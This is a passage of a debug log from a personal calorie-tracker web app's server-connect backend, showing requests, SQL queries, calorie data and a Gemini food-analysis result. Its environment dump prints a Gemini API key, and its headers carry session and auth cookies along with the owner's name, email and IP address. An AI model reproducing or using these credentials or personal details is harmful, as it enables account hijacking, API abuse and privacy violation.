    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T05:39:35.012Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-15T05:39:38.510Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-15T05:39:38.510Z server-connect:app Executing action step identify
2025-12-15T05:39:38.510Z server-connect:app options: { provider: 'security' }
2025-12-15T05:39:38.510Z server-connect:output identity: 1
2025-12-15T05:39:38.511Z server-connect:app Executing action step restrict
2025-12-15T05:39:38.511Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:39:38.511Z server-connect:output restrict: undefined
2025-12-15T05:39:38.511Z server-connect:app Executing action step single
2025-12-15T05:39:38.511Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-15T05:39:38.513Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-15T05:39:38.513Z server-connect:app Executing action step select
2025-12-15T05:39:38.513Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-15T05:39:38.515Z server-connect:output item_list: []
2025-12-15T05:39:38.515Z server-connect:app Executing action step setvalue
2025-12-15T05:39:38.515Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-15T05:39:38.515Z server-connect:output var_total: 0
2025-12-15T05:39:38.515Z server-connect:app Executing action step setvalue
2025-12-15T05:39:38.515Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-15T05:39:38.515Z server-connect:output var_consumed: 0
2025-12-15T05:39:38.515Z server-connect:app Executing action step setvalue
2025-12-15T05:39:38.515Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-15T05:39:38.515Z server-connect:output var_deficit: 2400
2025-12-15T05:39:38.515Z server-connect:app Executing action step custom
2025-12-15T05:39:38.515Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-15T05:39:38.516Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  }
]
2025-12-15T05:40:07.736Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-15T05:40:07.736Z server-connect:app Executing action step identify
2025-12-15T05:40:07.736Z server-connect:app options: { provider: 'security' }
2025-12-15T05:40:07.736Z server-connect:output identity: 1
2025-12-15T05:40:07.736Z server-connect:app Executing action step restrict
2025-12-15T05:40:07.736Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:40:07.737Z server-connect:output restrict: undefined
2025-12-15T05:40:07.737Z server-connect:app Executing action step processWithGemini
2025-12-15T05:40:07.737Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-15T05:40:28.274Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Pre-workout',
      quantity: '1 scoop (6.5 gm)',
      total_calories: 10,
      protein: 1,
      carbs: 2,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Designed to enhance workout performance and focus. Generally low in calories and can be beneficial for intense training sessions for muscle development.'
    },
    {
      food_name: 'Banana',
      quantity: '1 medium (approx 118g)',
      total_calories: 105,
      protein: 1.3,
      carbs: 27,
      fat: 0.4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of quick carbohydrates for immediate energy, potassium, and other micronutrients. Ideal for pre or post-workout fuel to support muscle development and recovery.'
    },
    {
      food_name: 'Roti (Whole Wheat Flatbread)',
      quantity: '4 pieces (approx 200g cooked weight)',
      total_calories: 360,
      protein: 12,
      carbs: 72,
      fat: 4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'A staple source of complex carbohydrates, providing sustained energy for daily activities and intense workouts. Essential for replenishing muscle glycogen stores for muscle growth.'
    },
    {
      food_name: 'Aalo Sabji (Potato Curry)',
      quantity: '1 serving (approx 200g)',
      total_calories: 280,
      protein: 4,
      carbs: 40,
      fat: 15,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Provides carbohydrates from potatoes and some healthy fats from cooking, contributing to energy needs. Can be made healthier by reducing oil content and adding more non-starchy vegetables.'
    },
    {
      food_name: 'Gulab Jamun',
      quantity: '1 piece (approx 40g)',
      total_calories: 190,
      protein: 2,
      carbs: 30,
      fat: 8,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'This dessert is high in refined sugar and unhealthy fats from deep frying, providing empty calories with minimal nutritional value. It can lead to blood sugar spikes and contributes to excess calorie intake, which is counterproductive for muscle development and overall health goals.'
    }
  ],
  total_calories_all_items: 945,
  total_protein_all_items: 20.3,
  total_carbs_all_items: 171,
  total_fat_all_items: 27.4,
  unit_of_macros: 'grams',
  note_on_interpretation: "The phrase 'aalo gulab juman sabji' was interpreted as two separate dishes: 'Aalo Sabji' (Potato Curry) and 'Gulab Jamun' (a sweet dessert), as combining them into a single dish is highly unusual and grammatically incorrect in Hindi culinary context."
}
2025-12-15T05:40:40.570Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-15T05:40:40.570Z server-connect:app Executing action step identify
2025-12-15T05:40:40.571Z server-connect:app options: { provider: 'security' }
2025-12-15T05:40:40.571Z server-connect:output identity: 1
2025-12-15T05:40:40.571Z server-connect:app Executing action step restrict
2025-12-15T05:40:40.571Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:40:40.571Z server-connect:output restrict: undefined
2025-12-15T05:40:40.571Z server-connect:app Executing action step condition
2025-12-15T05:40:40.571Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-15T05:40:40.571Z server-connect:app Executing action step repeat
2025-12-15T05:40:40.571Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-15T05:40:40.571Z server-connect:app Executing action step insert
2025-12-15T05:40:40.571Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T05:40:40.573Z server-connect:output calories: { affected: 1, identity: 390 }
2025-12-15T05:40:40.574Z server-connect:app Executing action step insert
2025-12-15T05:40:40.574Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T05:40:40.574Z server-connect:output calories: { affected: 1, identity: 391 }
2025-12-15T05:40:40.574Z server-connect:app Executing action step insert
2025-12-15T05:40:40.574Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T05:40:40.575Z server-connect:output calories: { affected: 1, identity: 392 }
2025-12-15T05:40:40.575Z server-connect:app Executing action step insert
2025-12-15T05:40:40.575Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T05:40:40.575Z server-connect:output calories: { affected: 1, identity: 393 }
2025-12-15T05:40:40.575Z server-connect:app Executing action step insert
2025-12-15T05:40:40.575Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T05:40:40.576Z server-connect:output calories: { affected: 1, identity: 394 }
2025-12-15T05:40:40.576Z server-connect:output repeat: [ {}, {}, {}, {}, {} ]
2025-12-15T05:40:40.576Z server-connect:output condition: undefined
2025-12-15T05:40:40.775Z server-connect:router Serving templateView /calorie-tracker
2025-12-15T05:40:40.775Z server-connect:app Executing action step identify
2025-12-15T05:40:40.775Z server-connect:app options: { provider: 'security' }
2025-12-15T05:40:40.776Z server-connect:output identity: 1
2025-12-15T05:40:40.776Z server-connect:app Executing action step restrict
2025-12-15T05:40:40.776Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T05:40:40.776Z server-connect:output restrict: undefined
2025-12-15T05:40:40.776Z server-connect:router Render template layouts/main
2025-12-15T05:40:40.776Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T05:39:35.012Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-15T05:40:41.300Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-15T05:40:41.302Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-15T05:40:41.302Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-15T05:40:41.302Z server-connect:app Executing action step identify
2025-12-15T05:40:41.303Z server-connect:app options: { provider: 'security' }
2025-12-15T05:40:41.303Z server-connect:output identity: 1
2025-12-15T05:40:41.303Z server-connect:app Executing action step restrict
2025-12-15T05:40:41.303Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:40:41.303Z server-connect:app Executing action step identify
2025-12-15T05:40:41.303Z server-connect:app options: { provider: 'security' }
2025-12-15T05:40:41.303Z server-connect:output identity: 1
2025-12-15T05:40:41.303Z server-connect:app Executing action step restrict
2025-12-15T05:40:41.303Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:40:41.303Z server-connect:app Executing action step identify
2025-12-15T05:40:41.303Z server-connect:app options: { provider: 'security' }
2025-12-15T05:40:41.303Z server-connect:output identity: 1
2025-12-15T05:40:41.303Z server-connect:app Executing action step restrict
2025-12-15T05:40:41.303Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:40:41.304Z server-connect:output restrict: undefined
2025-12-15T05:40:41.304Z server-connect:app Executing action step single
2025-12-15T05:40:41.304Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-15T05:40:41.305Z server-connect:output restrict: undefined
2025-12-15T05:40:41.305Z server-connect:app Executing action step single
2025-12-15T05:40:41.305Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-15T05:40:41.305Z server-connect:output restrict: undefined
2025-12-15T05:40:41.305Z server-connect:app Executing action step select
2025-12-15T05:40:41.306Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-15T05:40:41.306Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-15T05:40:41.308Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-15T05:40:41.308Z server-connect:app Executing action step select
2025-12-15T05:40:41.308Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-15T05:40:41.312Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
